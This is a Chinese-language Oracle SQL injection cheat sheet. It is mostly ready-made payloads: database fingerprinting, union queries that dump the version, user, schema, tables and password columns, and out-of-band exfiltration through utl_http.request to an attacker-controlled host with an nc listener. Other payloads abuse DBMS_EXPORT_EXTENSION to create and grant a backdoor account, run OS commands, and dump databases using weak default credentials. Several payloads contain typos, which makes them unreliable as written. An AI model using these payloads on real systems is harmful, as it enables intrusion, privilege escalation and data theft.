0x01: SQL 注入盘点:
判断是否存在注入点的方法与其他数据库类似,如:and 1=1 和 and 1=2 等方法。
0x02:判断数据库为 Oracle:
(1) 出错信息直接 显示 Oracle。
(2) 通过注释符号来判断:
提交注释字符 /*,返回正常的是MySQL,否则继续提交注释符号—,该符号是Oranle 和 MSSQL 支持的注释符,返回正常继续判断。
(3)多行查询判断:
Oracle 不支持多行查询,可以提交查询语句:
and exist(select * from dual) and (select count(*) from user_tables) > 0--
利用的原理是 dual表和 user_tables 表是 Oracle 中的系统表,返回正常判断为Oracle。
0x03:获取基本信息:
(1)获取字段数:
可以使用 Order BY N 根据返回页面判断。
(2)获取数据库版本:
执行下面的语句。
and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from dual
(3) 获取数据库连接用户名。
and 1=2 union select 1,2,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),4,5,6 from dual
(4) 获取日志文件的绝对路径:
同样这个通过这个绝对路径判断系统类型
and 1=2 union select 1,2,(select instance_name from v$instance),4,5,6 from dual
0x04: 猜测数据库、表和列名:
(1) 爆出数据库名:
and 1=2 union select 1,2,(select owner from all_tables where rownum=1) ,4,5,6 from dual
依次爆出所有数据库名,假设第一个库名为first_dbname:
and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_name') ,4,5,6 from dual
(2) 爆出表名:
爆出第一个表名
and 1=2 union select 1,2,(select table_name from users_tables where rownum=1),4,5,6 from dual
爆出下一个表名与下一个数据库类似,但需要注意的是,表名用大写或大写的十六进制表示。有时只想要某个数据库中密码字段的表名,可以采用模糊查询语句。
and (select column_name from user_tab_columns where column_name like'%25pass%25') > 0
如果成功可以继续提交:
and 1=2 union select 1,2 (select column_name from user_tab_columns where column_name like'%25pass%25') ,4,5,6 from dual
(3) 爆出字段名:
爆出表 tablename 中的第一个字段名:
and 1=2 union select 1,2 (select column_name from user_tab_columns where table_name='tablename' and rownum=1 ) ,4,5,6 from dual
0x05: Oracle 注入过程的特性:
(1) 字段类型必须确定。
Oracle 注入中严格要求各个字段的类型必须和定义的一直,否则会出错,可以通过下面的方法确定 各个字段的类型:
and 1=2 union select 'null',null,null,null,null,null from dual
如此将上面的每个Null 用单引号替换,查看返回页面、返回正常则说明那个字段为字符型。确定所有的字符类型就可以注入了,是字符型的就用 ‘null’ ,数字型的就直接用 null。
(2) UTL_HTTP 存储过程的反弹注入:
Oracle 中提供 utl_http.request的函数,用于取得远程web 服务器的请求信息,因为可以利用它来反弹信息。具体使用方法如下:
①: 判断UTL_HTTP 存储过程是否可用:
and exist(select count(*) from all_objects where object_name = 'UTL_HTTP')
②:本地用nc 监听一个端口 nc -lvvp 8989
③: 注入点执行:
and utl_http.request('http://www.xxx.com:port' || (SQL Query)) =1 and utl_http.request('http:///www.com:port'|| (select banner from sys.v_$version where rownum=1)) =1 --
在nc端就会接收到sql 执行返回的结果,这个方法有点繁琐,因为每次注入点提交一次请求时nc 会断开连接,需要重新启动。
(3) 系统特性
在Windows 下,Oracle 是以服务方式启动,而在 web 注入下就可以直接获得 system 权限,在Linux 下虽然不是 root ,不过权限很高,可以通过web 注入添加系统账户。
SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES() 调用的函数
具体的应用方法如下:
SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1); [Attack-Command] END ; --',SYS',0,'1',0)
将其中的 attack-command 替换为对应的命令即可,此方法必须结合上面的UTL_HTTP存储过程。
(4) 创建远程连接账号。
注入点执行:
and '1' <> '2' || ( select SYS.DBMS_EXPOER_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' Create USER LengF IDENTIFIED BY HACKER '' '' ; END;--',SYS,0,'1',0 ) FROM DUAL
确定账号是否添加成功:
and 1 <> (select user_id from all_users where username= 'LengF')
赋予账户远程连接权限:
and '1' <> '2' || ( select SYS.DBMS_EXPOER_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' GRANT CONNECT LengF '' '' ; END;--',SYS,0,'1',0 ) FROM DUAL
删除账号:
and '1' <> '2' || ( select SYS.DBMS_EXPOER_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' drop USER LengF '' '' ; END;--',SYS,0,'1',0 ) FROM DUAL
(5) 命令执行:
通过添加账号或其他手段获取远程连接权限后,利用 SQLPUS 连接后即可执行命令。在 WIndows 中使用host CMD #,如ipconfig
在 linux 下使用: !command CMD 。
0x06: Oracle 数据库导出:
(1) 登录服务器:
ssh root@localhost
在内网中常常有弱口令 oracle / oracle
(2) 在 ssh 中执行:
exp oracle_username/oracle_password file=/tmp/oracledatabasename.dump owner=databasename
7. Oracle 数据库数据导入:
(1) 执行 sqlpsls ;
sqlpuls /nolog
(2) 以DBA 连接:
conn /as sysdab;
(3) 创建欲导入的表空间:
create tablespace spms datafile = 'd:\app\administrator\oradata\spms.dbf' size 50m autoextend on;
(4) 创建用户:
create user dbms identified by 888888;
(5) 授予权限:
grant create user ,drop user , alter user,create any view ,drop any view ,exp_full_database,imp_full_database,dba,connect,resource,read,write,create session to dbms;
(6) 导入数据库:
imp dbms/888888@dbms full=y dile=d:\dbms.tmp ignore=y